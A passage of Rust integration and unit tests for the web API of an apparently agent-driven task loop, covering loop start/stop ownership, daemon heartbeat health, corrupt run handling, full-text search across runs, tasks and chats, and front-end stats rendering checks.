13095 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
13099
13100 let mut task = Task::new(
13101 "landed by hand".to_owned(),
13102 "x".to_owned(),
13103 PathBuf::from("/repo/magi"),
13104 Source::Human,
13105 );
13106 task.runs.push("20260101-000000-doa1".to_owned());
13107 task.runs.push("20260101-000000-doa2".to_owned());
13108 queue.put(&mut task).expect("file the task");
13109
13110 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
13111 assert_eq!(done.status, 200, "{}", done.body);
13112
13113 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
13114 .expect("run still on disk under this fixture's own home");
13115 assert_eq!(
13116 reloaded_run.status,
13117 RunStatus::Superseded,
13118 "closing the task by hand must relabel the earlier blocked attempt exactly \
13119 like the loop's own settle path does"
13120 );
13121 }
13122
13123 #[tokio::test]
13124 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
13125 let f = Fixture::start().await;
13130 let queue = f.queue();
13131 let runs = f.runs();
13132 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
13133 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
13134
13135 let mut task = Task::new(
13136 "closed with nothing actually landed".to_owned(),
13137 "x".to_owned(),
13138 PathBuf::from("/repo/magi"),
13139 Source::Human,
13140 );
13141 task.runs.push("20260101-000000-dob1".to_owned());
13142 task.runs.push("20260101-000000-dob2".to_owned());
13143 queue.put(&mut task).expect("file the task");
13144
13145 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
13146 assert_eq!(done.status, 200, "{}", done.body);
13147
13148 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
13149 .expect("run still on disk under this fixture's own home");
13150 assert_eq!(
13151 reloaded_run.status,
13152 RunStatus::Blocked,
13153 "the last recorded attempt never landed, so the earlier one must not be \
13154 relabelled as superseded by it"
13155 );
13156 }
13157
13158 #[tokio::test]
13159 async fn unknown_ids_are_json_not_found_on_both_stores() {
13160 let f = Fixture::start().await;
13161
13162 let run = f.get("/api/runs/nosuchrun").await;
13163 let task = f.post("/api/queue/nosuchtask/hold", None).await;
13164
13165 assert_eq!(run.status, 404);
13166 assert_eq!(task.status, 404);
13167 assert!(
13168 run.json()["error"]
13169 .as_str()
13170 .is_some_and(|e| e.contains("run")),
13171 "the error names what was not found: {}",
13172 run.body
13173 );
13174 assert!(
13175 task.json()["error"]
13176 .as_str()
13177 .is_some_and(|e| e.contains("task")),
13178 "the error names what was not found: {}",
13179 task.body
13180 );
13181 }
13182
13183 #[tokio::test]
13184 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
13185 let f = Fixture::start().await;
13186
13187 let missing = f.get("/api/health").await.json();
13188 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
13189
13190 write_daemon(
13191 f.home.path(),
13192 Timestamp::now() - jiff::SignedDuration::from_secs(60),
13193 );
13194 let stale = f.get("/api/health").await.json();
13195 assert_eq!(
13196 stale["daemon"]["running"], false,
13197 "a minute without a heartbeat is a dead daemon, not a busy one"
13198 );
13199 assert!(
13200 stale["daemon"]["stale_for_secs"]
13201 .as_i64()
13202 .is_some_and(|s| s >= 55),
13203 "staleness is reported so the UI can say how long: {stale}"
13204 );
13205
13206 write_daemon(f.home.path(), Timestamp::now());
13207 let fresh = f.get("/api/health").await.json();
13208 assert_eq!(fresh["daemon"]["running"], true);
13209 assert_eq!(fresh["daemon"]["idle"], false);
13210 assert_eq!(fresh["daemon"]["pid"], 4242);
13211 assert_eq!(fresh["daemon"]["completed"], 7);
13212 assert_eq!(
13213 fresh["daemon"]["current"][0]["task"],
13214 "20260902-140501-aaaa"
13215 );
13216 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
13217 }
13218
13219 #[tokio::test]
13220 async fn the_loop_is_not_running_until_something_starts_it() {
13221 let f = Fixture::start().await;
13222
13223 let view = f.get("/api/loop").await.json();
13224 assert_eq!(view["running"], false);
13225 assert_eq!(
13226 view["owned"], false,
13227 "nobody owns a loop that does not exist: {view}"
13228 );
13229 assert_eq!(view["stopping"], false);
13230 assert_eq!(view["last_error"], Value::Null);
13231 assert_eq!(view["daemon"]["running"], false);
13232 assert_eq!(
13233 view["repo"], "/repo/magi",
13234 "the repository a start would use, named before it is started"
13235 );
13236 }
13237
13238 #[tokio::test]
13239 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
13240 let f = Fixture::start().await;
13241
13242 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
13243 assert_eq!(res.status, 200, "{}", res.body);
13244 let view = res.json();
13245 assert_eq!(view["running"], true);
13246 assert_eq!(
13247 view["owned"], true,
13248 "the loop the UI started is the UI's own to stop: {view}"
13249 );
13250 assert_eq!(
13251 view["merge"],
13252 Value::Null,
13253 "no override was given, so each repository's own config decides"
13254 );
13255
13256 let health = f.get("/api/health").await.json();
13260 assert_eq!(health["loop"]["running"], true, "{health}");
13261 assert_eq!(health["loop"]["owned"], true, "{health}");
13262
13263 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
13264 }
13265
13266 #[tokio::test]
13267 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
13268 let f = Fixture::start().await;
13269 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
13270 assert_eq!(first.status, 200, "{}", first.body);
13271
13272 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
13273 assert_eq!(
13274 again.status, 409,
13275 "two loops on one queue race for the same claims: {}",
13276 again.body
13277 );
13278 assert!(
13279 again.json()["error"]
13280 .as_str()
13281 .is_some_and(|e| e.contains("already running the loop")),
13282 "the refusal has to say why: {}",
13283 again.body
13284 );
13285 assert_eq!(
13286 f.get("/api/loop").await.json()["running"],
13287 true,
13288 "and the loop that was already running is untouched by it"
13289 );
13290
13291 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
13292 }
13293
13294 #[tokio::test]
13295 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
13296 let f = Fixture::start().await;
13297 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
13298
13299 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
13300 assert_eq!(
13301 res.status, 200,
13302 "the answer must not wait for the loop: a run in flight is tens of \
13303 minutes and the operator is holding a phone: {}",
13304 res.body
13305 );
13306
13307 let view = settled(&f, |v| v["running"] == false).await;
13308 assert_eq!(view["owned"], false);
13309 assert_eq!(
13310 view["stopping"], false,
13311 "a loop that has stopped is not still stopping: {view}"
13312 );
13313 assert_eq!(
13314 view["last_error"],
13315 Value::Null,
13316 "a loop that was asked to stop did not fail: {view}"
13317 );
13318
13319 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
13322 assert_eq!(twice.status, 200, "{}", twice.body);
13323 }
13324
13325 #[tokio::test]
13326 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
13327 let f = Fixture::start().await;
13328 write_daemon(f.home.path(), Timestamp::now());
13331
13332 let view = f.get("/api/loop").await.json();
13333 assert_eq!(view["running"], false, "not in this process: {view}");
13334 assert_eq!(view["owned"], false, "and not this process's to control");
13335 assert_eq!(
13336 view["daemon"]["running"], true,
13337 "but a loop is alive somewhere, which is what the UI must say"
13338 );
13339 assert_eq!(view["daemon"]["pid"], 4242);
13340
13341 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
13342 let res = f.post("/api/loop", Some(body)).await;
13343 assert_eq!(
13344 res.status, 409,
13345 "neither button may pretend to work on someone else's loop: {}",
13346 res.body
13347 );
13348 assert!(
13349 res.json()["error"]
13350 .as_str()
13351 .is_some_and(|e| e.contains("4242")),
13352 "the refusal has to name the process the operator must go to: {}",
13353 res.body
13354 );
13355 }
13356 assert_eq!(
13357 f.get("/api/loop").await.json()["running"],
13358 false,
13359 "and the refusal started nothing"
13360 );
13361 }
13362
13363 #[tokio::test]
13364 async fn a_stale_status_file_is_not_a_foreign_owner() {
13365 let f = Fixture::start().await;
13366 write_daemon(
13367 f.home.path(),
13368 Timestamp::now() - jiff::SignedDuration::from_secs(60),
13369 );
13370
13371 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
13372 assert_eq!(
13373 res.status, 200,
13374 "a daemon killed a minute ago must not lock the loop out of its \
13375 own home for good: {}",
13376 res.body
13377 );
13378 assert_eq!(res.json()["running"], true);
13379
13380 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
13381 }
13382
13383 #[tokio::test]
13384 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
13385 let f = Fixture::start().await;
13386 let before = f.get("/api/health").await.json()["loop_rev"]
13387 .as_u64()
13388 .expect("a loop revision");
13389
13390 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
13391
13392 let after = f.get("/api/health").await.json()["loop_rev"]
13393 .as_u64()
13394 .expect("a loop revision");
13395 assert!(
13396 after > before,
13397 "the loop is in-process state, so this counter is the only thing \
13398 that tells a second device the first one started it: {before} -> \
13399 {after}"
13400 );
13401
13402 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
13403 }
13404
13405 #[tokio::test]
13406 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
13407 let f = Fixture::with_loop(launch_broken).await;
13408
13409 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
13410 assert_eq!(
13411 res.status, 200,
13412 "starting it is not the failure: {}",
13413 res.body
13414 );
13415
13416 let view = settled(&f, |v| v["last_error"].is_string()).await;
13417 assert_eq!(
13418 view["running"], false,
13419 "a loop that died must not read as running, or the operator has \
13420 nothing to press: {view}"
13421 );
13422 assert_eq!(view["owned"], false);
13423 assert!(
13424 view["last_error"]
13425 .as_str()
13426 .is_some_and(|e| e.contains("read-only file system")),
13427 "the phone is where a loop that died at 3am is visible: {view}"
13428 );
13429
13430 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
13433 assert_eq!(again.status, 200, "{}", again.body);
13434 assert!(
13435 again.json()["last_error"]
13436 .as_str()
13437 .is_none_or(|e| !e.contains("read-only file system")),
13438 "a fresh start does not keep showing why the last one died: {}",
13439 again.body
13440 );
13441 }
13442
13443 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
13455 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
13456 let home = TempDir::new().expect("temp home");
13457 let runs = home.path().join("runs");
13458 std::fs::create_dir_all(&runs).expect("runs dir");
13459 let ui = Ui::new(
13460 Queue::at(home.path().join("queue")),
13461 Questions::at(home.path().join("questions")),
13462 Talks::at(home.path().join("talks")),
13463 runs,
13464 home.path().to_path_buf(),
13465 PathBuf::from("/repo/magi"),
13466 )
13467 .with_worktrees_root(home.path().join("wt"))
13468 .with_launch(launch_knocking_on_the_way_out);
13469 let looping = ui.looping();
13470 let turns = ui.turns();
13471 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
13472 .await
13473 .expect("bind loopback");
13474 let addr = listener.local_addr().expect("local addr");
13475 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
13476 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
13477
13478 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
13479 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
13480
13481 let bound = std::sync::Mutex::new(None);
13496 hand_over(
13497 home.path(),
13498 &looping,
13499 &turns,
13500 &|_: &[String]| Duration::from_secs(5),
13501 served,
13502 |_| {
13503 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
13504 let attempt = loop {
13505 match std::net::TcpListener::bind(addr) {
13506 Ok(l) => {
13507 drop(l);
13508 break Ok(());
13509 }
13510 Err(e)
13511 if e.kind() == std::io::ErrorKind::AddrInUse
13512 && std::time::Instant::now() < deadline =>
13513 {
13514 std::thread::sleep(std::time::Duration::from_millis(10));
13515 }
13516 Err(e) => break Err(e.to_string()),
13517 }
13518 };
13519 *bound.lock().expect("bound") = Some(attempt);
13520 Ok(1)
13521 },
13522 )
13523 .await
13524 .expect("hand over");
13525
13526 assert_eq!(
13527 *PARK_HEARD.lock().expect("park heard"),
13528 Some(200),
13529 "the deck must answer while the loop is parking"
13530 );
13531 let attempt = bound
13532 .lock()
13533 .expect("bound")
13534 .take()
13535 .expect("the successor was started");
13536 assert!(
13537 attempt.is_ok(),
13538 "and the address must be free by the time it is: {attempt:?}"
13539 );
13540 }
13541
13542 #[tokio::test]
13543 async fn a_newer_daemon_status_file_still_renders() {
13544 let f = Fixture::start().await;
13545 std::fs::write(
13548 f.home.path().join("daemon.json"),
13549 serde_json::json!({
13550 "schema": 2,
13551 "updated_at": Timestamp::now().to_string(),
13552 "idle": true,
13553 "surprise": { "nested": [1, 2, 3] },
13554 })
13555 .to_string(),
13556 )
13557 .expect("write daemon.json");
13558
13559 let health = f.get("/api/health").await;
13560
13561 assert_eq!(health.status, 200);
13562 assert_eq!(health.json()["daemon"]["running"], true);
13563 }
13564
13565 #[tokio::test]
13566 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
13567 let f = Fixture::start().await;
13568 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
13569 let broken = f.runs().join("20260902-140502-bad");
13570 std::fs::create_dir_all(&broken).expect("run dir");
13571 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
13572
13573 let list = f.get("/api/runs").await;
13574 let detail = f.get("/api/runs/20260902-140502-bad").await;
13575
13576 assert_eq!(list.status, 200);
13577 let listed = list.json();
13578 let ids: Vec<&str> = listed
13579 .as_array()
13580 .expect("an array")
13581 .iter()
13582 .map(|r| r["id"].as_str().expect("an id"))
13583 .collect();
13584 assert_eq!(
13585 ids,
13586 vec!["20260902-140501-good"],
13587 "one unreadable run must not cost the operator the whole history"
13588 );
13589 assert_eq!(detail.status, 500);
13590 assert!(
13591 detail.json()["error"]
13592 .as_str()
13593 .is_some_and(|e| e.contains("run.json")),
13594 "the failure names the file to look at: {}",
13595 detail.body
13596 );
13597 let health = f.get("/api/health").await;
13601 assert_eq!(health.json()["runs_unreadable"], 1);
13602 }
13603
13604 #[tokio::test]
13606 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
13607 let f = Fixture::start().await;
13608 let runs = f.runs();
13609 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
13610 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
13611 let path = runs.join("20260902-140502-bbbb").join("run.json");
13614 let mut v: serde_json::Value =
13615 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
13616 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
13617 std::fs::write(&path, v.to_string()).unwrap();
13618 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
13619 std::fs::write(
13620 runs.join("20260902-140503-cccc").join("run.json"),
13621 "{ not json",
13622 )
13623 .unwrap();
13624
13625 let res = f.get("/api/search?scope=runs&q=quokka").await;
13626 assert_eq!(res.status, 200, "{}", res.body);
13627 let v = res.json();
13628 assert_eq!(v["total"], 1, "{v}");
13629 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
13630 assert_eq!(v["hits"][0]["field"], "text");
13631 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
13632 let parts = v["hits"][0]["snippet"].as_array().unwrap();
13633 assert!(
13634 parts
13635 .iter()
13636 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
13637 "{v}"
13638 );
13639 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
13640 assert_eq!(
13641 flat, "The Quokka leaks across threads",
13642 "whitespace is collapsed"
13643 );
13644
13645 let both = f
13647 .get("/api/search?scope=runs&q=MOBILE%20quokka")
13648 .await
13649 .json();
13650 assert_eq!(both["total"], 1, "{both}");
13651 let neither = f
13652 .get("/api/search?scope=runs&q=quokka%20zebra")
13653 .await
13654 .json();
13655 assert_eq!(neither["total"], 0, "{neither}");
13656 let stmt = f
13658 .get("/api/search?scope=runs&q=mobile%20first")
13659 .await
13660 .json();
13661 assert_eq!(stmt["total"], 2, "{stmt}");
13662 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
13663 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
13664 }
13665
13666 #[test]
13667 fn snippet_ignores_terms_longer_than_the_field() {
13668 let terms = ["ok".to_owned(), "elephant".to_owned()];
13669 let parts = snippet_of("ok", &terms);
13670 assert_eq!(
13671 parts,
13672 vec![SnippetPart {
13673 text: "ok".to_owned(),
13674 hit: true
13675 }]
13676 );
13677 }
13678
13679 #[test]
13680 fn snippet_marks_matches_longer_than_the_window() {
13681 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
13682 let hit_len = |parts: &[SnippetPart]| -> usize {
13683 parts
13684 .iter()
13685 .filter(|p| p.hit)
13686 .map(|p| p.text.chars().count())
13687 .sum()
13688 };
13689 let total =
13690 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
13691
13692 let long = "a".repeat(120);
13693 let parts = snippet_of(&long, std::slice::from_ref(&long));
13694 assert!(hit_len(&parts) > 0, "{parts:?}");
13695 assert!(total(&parts) <= cap);
13696
13697 let ja = "あ".repeat(130);
13698 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
13699 assert!(hit_len(&parts) > 0, "{parts:?}");
13700 assert!(total(&parts) <= cap);
13701
13702 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
13704 let term = format!("ab{}", "c".repeat(100));
13705 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
13706 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
13707 assert!(total(&parts) <= cap);
13708
13709 let text = format!("{}z", "a".repeat(119));
13711 let parts = snippet_of(&text, &["a".repeat(120)]);
13712 assert_eq!(hit_len(&parts), 0, "{parts:?}");
13713 }
13714
13715 #[tokio::test]
13716 async fn search_caps_hits_and_snippet_length() {
13717 let f = Fixture::start().await;
13718 let runs = f.runs();
13719 for n in 0..(SEARCH_MAX_HITS + 5) {
13720 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
13721 }
13722 let v = f.get("/api/search?scope=runs&q=web").await.json();
13723 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
13724 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
13725 assert_eq!(v["truncated"], true);
13726 assert!(
13728 v["hits"]
13729 .as_array()
13730 .unwrap()
13731 .iter()
13732 .all(|h| h["run"]["status"] == "merged")
13733 );
13734
13735 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
13736 let parts = snippet_of(&long, &["needle".to_owned()]);
13737 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
13738 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
13739 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
13740 }
13741
13742 #[tokio::test]
13743 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
13744 let f = Fixture::start().await;
13745 let queue = f.queue();
13746 let mut t = Task::new(
13747 "short title".to_owned(),
13748 "line one\nthe hidden Armadillo detail".to_owned(),
13749 PathBuf::from("/repo/magi"),
13750 Source::Agent {
13751 run: "r1".to_owned(),
13752 node: "chat".to_owned(),
13753 },
13754 );
13755 t.last_error = Some("disk full on /tmp".to_owned());
13756 queue.put(&mut t).expect("file the task");
13757
13758 for (q, want) in [
13759 ("armadillo", 1),
13760 ("disk%20FULL", 1),
13761 ("chat", 1),
13762 ("queued", 1),
13763 ("short%20nothing", 0),
13764 ] {
13765 let v = f
13766 .get(&format!("/api/search?scope=tasks&q={q}"))
13767 .await
13768 .json();
13769 assert_eq!(v["total"], want, "{q}: {v}");
13770 }
13771 for bad in [
13772 "/api/search?scope=tasks&q=",
13773 "/api/search?scope=tasks&q=%20",
13774 "/api/search?scope=chats&q=",
13775 "/api/search?scope=chats&q=%20",
13776 "/api/search?scope=nope&q=a",
13777 "/api/search?q=a",
13778 ] {
13779 assert_eq!(f.get(bad).await.status, 400, "{bad}");
13780 }
13781 }
13782
13783 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
13785 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
13786 .expect("seat value");
13787 let turns: Vec<serde_json::Value> = turns
13788 .iter()
13789 .map(|(who, body)| {
13790 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
13791 })
13792 .collect();
13793 let doc = serde_json::json!({
13794 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
13795 "status": status, "turns": turns,
13796 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
13797 "seat": seat,
13798 });
13799 let dir = f.home.path().join("talks");
13800 std::fs::create_dir_all(&dir).expect("talks dir");
13801 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
13802 }
13803
13804 #[tokio::test]
13805 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
13806 let f = Fixture::start().await;
13807 write_talk(
13808 &f,
13809 "20260901-000001-aaaa",
13810 "open",
13811 &[
13812 (
13813 "operator",
13814 "\n Why does the Pangolin cache expire?\nsecond line",
13815 ),
13816 ("agent", "Because the TTL is thirty seconds."),
13817 ],
13818 );
13819 write_talk(
13820 &f,
13821 "20260901-000002-bbbb",
13822 "closed",
13823 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
13824 );
13825 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
13826
13827 let search = |q: &'static str| {
13828 let f = &f;
13829 async move {
13830 f.get(&format!("/api/search?scope=chats&q={q}"))
13831 .await
13832 .json()
13833 }
13834 };
13835
13836 let v = search("PANGOLIN").await;
13837 assert_eq!(v["scope"], "chats");
13838 assert_eq!(v["total"], 1, "{v}");
13839 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
13840 assert_eq!(v["hits"][0]["field"], "title");
13841 assert_eq!(v["unreadable"], 1, "{v}");
13842 let marked: Vec<&str> = v["hits"][0]["snippet"]
13843 .as_array()
13844 .unwrap()
13845 .iter()
13846 .filter(|p| p["hit"] == true)
13847 .map(|p| p["text"].as_str().unwrap())
13848 .collect();
13849 assert_eq!(marked, ["Pangolin"]);
13850
13851 let v = search("zebra").await;
13853 assert_eq!(v["total"], 1, "{v}");
13854 assert_eq!(v["hits"][0]["field"], "agent");
13855 assert_eq!(search("pangolin%20thirty").await["total"], 1);
13857 assert_eq!(search("pangolin%20zebra").await["total"], 0);
13858 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
13860 assert_eq!(search(q).await["total"], 0, "{q}");
13861 }
13862 assert_eq!(search("second").await["hits"][0]["field"], "operator");
13864 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
13866
13867 let v = f.get("/api/search?scope=nope&q=a").await;
13868 assert_eq!(v.status, 400);
13869 assert!(
13870 v.body.contains("scope must be runs, tasks or chats"),
13871 "{}",
13872 v.body
13873 );
13874 }
13875
13876 #[test]
13877 fn a_question_card_links_a_task_id_to_the_task_page() {
13878 let start = APP_JS
13879 .find("function updateAskCard(")
13880 .expect("updateAskCard exists");
13881 let body = &APP_JS[start..];
13882 let body = &body[..body.find("\n}\n").expect("function end")];
13883 assert!(body.contains("question.run_is_task"));
13884 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
13885 assert!(body.contains("`#/runs/${question.run}`"));
13886 assert!(body.contains("\"task\" : \"run\""));
13887 }
13888
13889 #[test]
13890 fn plain_text_message_surfaces_go_through_linkify() {
13891 assert!(APP_JS.contains("function linkify("));
13892 assert!(!APP_JS.contains("class: \"event-msg\", text:"));
13893 assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
13894 assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
13895 assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
13896 assert!(!APP_JS.contains("innerHTML = text"));
13897 }
13898
13899 #[test]
13900 fn implementation_rate_views_keep_independent_samples() {
13901 for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
13902 let a = stats::AgentStats {
13903 competitive_entered: competitive_n,
13904 competitive_wins: usize::from(competitive_n > 0),
13905 solo_entered: solo_n,
13906 solo_adopted: 2 * usize::from(solo_n > 0),
13907 ..Default::default()
13908 };
13909 let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
13910 for (key, n, numerator) in [
13911 ("competitive_win_rate", competitive_n, a.competitive_wins),
13912 ("solo_adoption_rate", solo_n, a.solo_adopted),
13913 ] {
13914 if n == 0 {
13915 assert!(v[key].is_null());
13916 } else {
13917 assert_eq!(v[key]["denominator"], n);
13918 assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
13919 }
13920 }
13921 }
13922 assert!(APP_JS.contains("rate: a.competitive_win_rate"));
13923 assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
13924 assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
13925 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
13926 }
13927
13928 #[test]
13929 fn stats_bars_share_one_id_keyed_plan() {
13930 let start = APP_JS
13931 .find("function statsBarRows(")
13932 .expect("statsBarRows exists");
13933 let body = &APP_JS[start..];
13934 let body = &body[..body.find("\n}\n").expect("function end")];
13935 assert!(body.contains("statsBarPlan(rows)"));
13936 assert!(body.contains("statsAgentTone(row.agent)"));
13937 assert!(!body.contains("candTone(i)"));
13938 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
13939 for root in [
13940 "stats-agents-bars",
13941 "stats-solo-bars",
13942 "stats-reviewers-bars",
13943 ] {
13944 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
13945 }
13946 }
13947
13948 #[test]
13949 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
13950 let start = APP_JS
13951 .find("function renderStatsReviewerScatter(")
13952 .expect("renderStatsReviewerScatter exists");
13953 let body = &APP_JS[start..];
13954 let body = &body[..body.find("\n}\n").expect("function end")];
13955 assert!(body.contains("statsScatterPlan(reviewers)"));
13956 assert!(body.contains("statsAgentTone(d.agent)"));
13957 assert!(APP_JS.contains("function statsScatterPlan("));
13958 assert!(
13959 APP_JS.contains("d.submitted < STATS_LOW_N")
13960 || APP_JS.contains("r.submitted < STATS_LOW_N")
13961 );
13962 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
13963 assert!(APP_CSS.contains(".precision-scatter"));
13964 }
13965
13966 #[test]
13967 fn advisor_reflection_is_drawn_as_stacked_segments() {
13968 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
13969 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
13970 let html = include_str!("../assets/ui/index.html");
13971 assert!(html.contains("Approximate"));
13972 for label in ["reflected strongly", "faint", "no proposal"] {
13973 assert!(html.contains(label));
13974 }
13975 let css = include_str!("../assets/ui/app.css");
13976 for c in ["refl-strong", "refl-faint", "refl-absent"] {
13977 assert!(css.contains(&format!(".{c} {{")));
13978 }
13979 }
13980
13981 #[test]
13982 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
13983 assert!(APP_JS.contains("function statsDailyPlan("));
13984 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
13985 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
13986 }
13987
13988 #[test]
13989 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
13990 let start = APP_JS
13991 .find("function scheduleSearch(")
13992 .expect("scheduleSearch exists");
13993 let body = &APP_JS[start..];
13994 let body = &body[..body.find("\n}\n").expect("function end")];
13995 assert!(body.contains("s.seq += 1"));
13996 }
13997
13998 #[tokio::test]
14003 async fn stats_runs_unreadable_matches_health() {
14004 let f = Fixture::start().await;
14005 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
14006 let broken = f.runs().join("20260902-140502-bad");
14007 std::fs::create_dir_all(&broken).expect("run dir");
14008 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
14009
14010 let stats = f.get("/api/stats").await;
14011 let health = f.get("/api/health").await;
14012
14013 assert_eq!(stats.status, 200);
14014 assert_eq!(stats.json()["totals"]["runs"], 1);
14015 assert_eq!(stats.json()["runs_unreadable"], 1);
14016 assert_eq!(
14017 stats.json()["runs_unreadable"],
14018 health.json()["runs_unreadable"],
14019 "the dashboard and /api/health must never disagree about how many \
14020 runs could not be read"
14021 );
14022 }
14023
14024 #[tokio::test]
14025 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
14026 let f = Fixture::start().await;
14027 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
14028 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
14029 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
14030
14031 let totals = &f.get("/api/stats").await.json()["totals"];
14032 assert_eq!(totals["runs"], 3);
14033 assert_eq!(totals["merged"], 1);
14034 assert_eq!(totals["stalled"], 1);
14035 assert_eq!(totals["in_progress"], 1);
14036 assert_eq!(totals["blocked"], 0);
14039 assert_eq!(totals["ready"], 0);
14040 }
14041
14042 #[tokio::test]
14043 async fn stats_advisors_report_proposals_and_reflection() {
14044 use crate::advise::{Advice, AdvisorRecord, Reflection};
14045 use crate::verdict::Proposal;
14046
14047 let f = Fixture::start().await;
14048 let mut state = RunState::new(
14049 PathBuf::from("/repo/magi"),
14050 "main".to_owned(),
14051 "0123456789abcdef".to_owned(),
14052 "task".to_owned(),
14053 Config::default(),
14054 );
14055 state.id = "20260902-140501-a".to_owned();
